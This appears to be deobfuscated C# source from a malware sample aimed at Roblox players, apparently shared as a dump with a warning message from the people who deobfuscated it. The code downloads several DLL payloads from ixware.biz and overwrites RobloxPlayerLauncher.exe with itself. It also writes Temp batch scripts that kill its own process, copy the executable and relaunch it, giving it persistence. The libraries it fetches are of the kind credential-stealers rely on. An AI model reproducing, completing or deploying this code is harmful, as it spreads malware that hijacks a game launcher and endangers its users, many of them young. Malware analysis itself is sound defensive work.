// Token: 0x06000005 RID: 5 RVA: 0x0000271C File Offset: 0x0000091C private static void smethod_2() { string tempPath = Path.GetTempPath(); string text = Path.Combine(new string[] { tempPath + "csupdates.bat" }); string value = "taskkill /PID /T /F " + Process.GetCurrentProcess().Id; string value2 = string.Concat(new string[] { "XCOPY /Y \"", Class4.PBaBSwF0biKAJ(Assembly.GetExecutingAssembly()).ToString(), "\" \"", EntryPointClass.string_5, "\"" }); string value3 = "START /C \"" + EntryPointClass.smethod_0() + "\""; string value4 = "EXIT"; try { if (!File.Exists(text)) { FileStream fileStream = File.Create(text); fileStream.Close(); } using (StreamWriter streamWriter = new StreamWriter(text, false)) { streamWriter.WriteLine(value); streamWriter.WriteLine(value2); streamWriter.WriteLine(value3); streamWriter.WriteLine(value4); } } catch { } EntryPointClass.MsyUyJaON(text); }
// Token: 0x06000004 RID: 4 RVA: 0x00002428 File Offset: 0x00000628 private static void Main(string[] args) { MessageBox.Show("Dumped by icor, deobfuscated by NTAuth. Entry point reached, dont go further if you dont want to get f*****g infected by this sloppy code."); EntryPointClass.smethod_5(); string text = Path.Combine(EntryPointClass.smethod_6(), "content", "updates"); string text2 = Path.Combine(text, "RobloxPlayerLauncher.exe"); if (Class4.PBaBSwF0biKAJ(Assembly.GetExecutingAssembly()) == Path.Combine(EntryPointClass.smethod_6(), "RobloxPlayerLauncher.exe")) { EntryPointClass.smethod_10(EntryPointClass.smethod_4(args[0].Split(new char[] { ':' })[3].Split(new char[] { '+' })[0])); new Process { StartInfo = { Arguments = args[0], FileName = text2 } }.Start(); return; } if (!Class4.PBaBSwF0biKAJ(Assembly.GetExecutingAssembly()).Contains("Temp")) { if (!Class4.PBaBSwF0biKAJ(Assembly.GetExecutingAssembly()).Contains("Roblox")) { if (!Directory.Exists(EntryPointClass.string_5)) { try { Directory.CreateDirectory(EntryPointClass.string_5); Directory.CreateDirectory(EntryPointClass.string_5 + "\\x64"); Directory.CreateDirectory(EntryPointClass.string_5 + "\\x86"); } catch { } } if (File.Exists(EntryPointClass.string_5 + "\\System.Data.SQLite.dll")) { if (File.Exists(EntryPointClass.smethod_0())) { File.Delete(EntryPointClass.smethod_0()); } EntryPointClass.smethod_2(); return; } WebClient webClient = new WebClient(); webClient.DownloadFile("https://ixware.biz/cs/1.bin", EntryPointClass.string_5 + "\\EntityFramework.dll"); webClient.DownloadFile("https://ixware.biz/cs/2.bin", EntryPointClass.string_5 + "\\EntityFramework.SqlServer.dll"); webClient.DownloadFile("https://ixware.biz/cs/3.bin", EntryPointClass.string_5 + "\\System.Data.SQLite.dll"); webClient.DownloadFile("https://ixware.biz/cs/4.bin", EntryPointClass.string_5 + "\\System.Data.SQLite.EF6.dll"); webClient.DownloadFile("https://ixware.biz/cs/5.bin", EntryPointClass.string_5 + "\\System.Data.SQLite.Linq.dll"); webClient.DownloadFile("https://ixware.biz/cs/6.bin", EntryPointClass.string_5 + "\\BouncyCastle.Crypto.dll"); webClient.DownloadFile("https://ixware.biz/cs/7.bin", EntryPointClass.string_5 + "\\Newtonsoft.Json.dll"); webClient.DownloadFile("https://ixware.biz/cs/x64.bin", EntryPointClass.string_5 + "\\x64\\SQLite.Interop.dll"); webClient.DownloadFile("https://ixware.biz/cs/x86.bin", EntryPointClass.string_5 + "\\x86\\SQLite.Interop.dll"); webClient.Dispose(); if (!File.Exists(text2) && File.Exists(EntryPointClass.smethod_7())) { EntryPointClass.smethod_3(text2, text); return; } EntryPointClass.smethod_2(); return; } } else if (Class4.PBaBSwF0biKAJ(Assembly.GetExecutingAssembly()) != Path.Combine(EntryPointClass.smethod_6(), "RobloxPlayerLauncher.exe")) { EntryPointClass.smethod_1(); if (EntryPointClass.bool_0) { if (EntryPointClass.int_0 >= 80) { EntryPointClass.smethod_14(); return; } try { EntryPointClass.smethod_18(); return; } catch { return; } } try { EntryPointClass.smethod_18(); } catch { EntryPointClass.smethod_14(); } } }
// Token: 0x06000006 RID: 6 RVA: 0x00002844 File Offset: 0x00000A44 private static void smethod_3(string string_8, string string_9) { string tempPath = Path.GetTempPath(); string text = Path.Combine(new string[] { tempPath + "csupdate.bat" }); string value = "taskkill /PID /T /F " + Process.GetCurrentProcess().Id; string value2 = string.Concat(new string[] { "XCOPY /Y \"", Class4.PBaBSwF0biKAJ(Assembly.GetExecutingAssembly()).ToString(), "\" \"", EntryPointClass.string_5, "\"" }); string value3 = string.Concat(new string[] { "XCOPY /Y \"", EntryPointClass.smethod_7(), "\" \"", string_9, "\"" }); string value4 = string.Concat(new string[] { "XCOPY /Y \"", Class4.PBaBSwF0biKAJ(Assembly.GetExecutingAssembly()).ToString(), "\" \"", Path.Combine(EntryPointClass.smethod_6(), "RobloxPlayerLauncher.exe"), "\"" }); string value5 = "START /C \"" + EntryPointClass.smethod_0() + "\""; string value6 = "EXIT"; try { if (!File.Exists(string_8) && !Directory.Exists(string_9)) { Directory.CreateDirectory(string_9); } } catch { } try { if (!File.Exists(text)) { FileStream fileStream = File.Create(text); fileStream.Close(); } using (StreamWriter streamWriter = new StreamWriter(text, false)) { streamWriter.WriteLine(value); streamWriter.WriteLine(value2); streamWriter.WriteLine(value3); streamWriter.WriteLine(value4); streamWriter.WriteLine(value5); streamWriter.WriteLine(value6); } } catch { } EntryPointClass.MsyUyJaON(text); }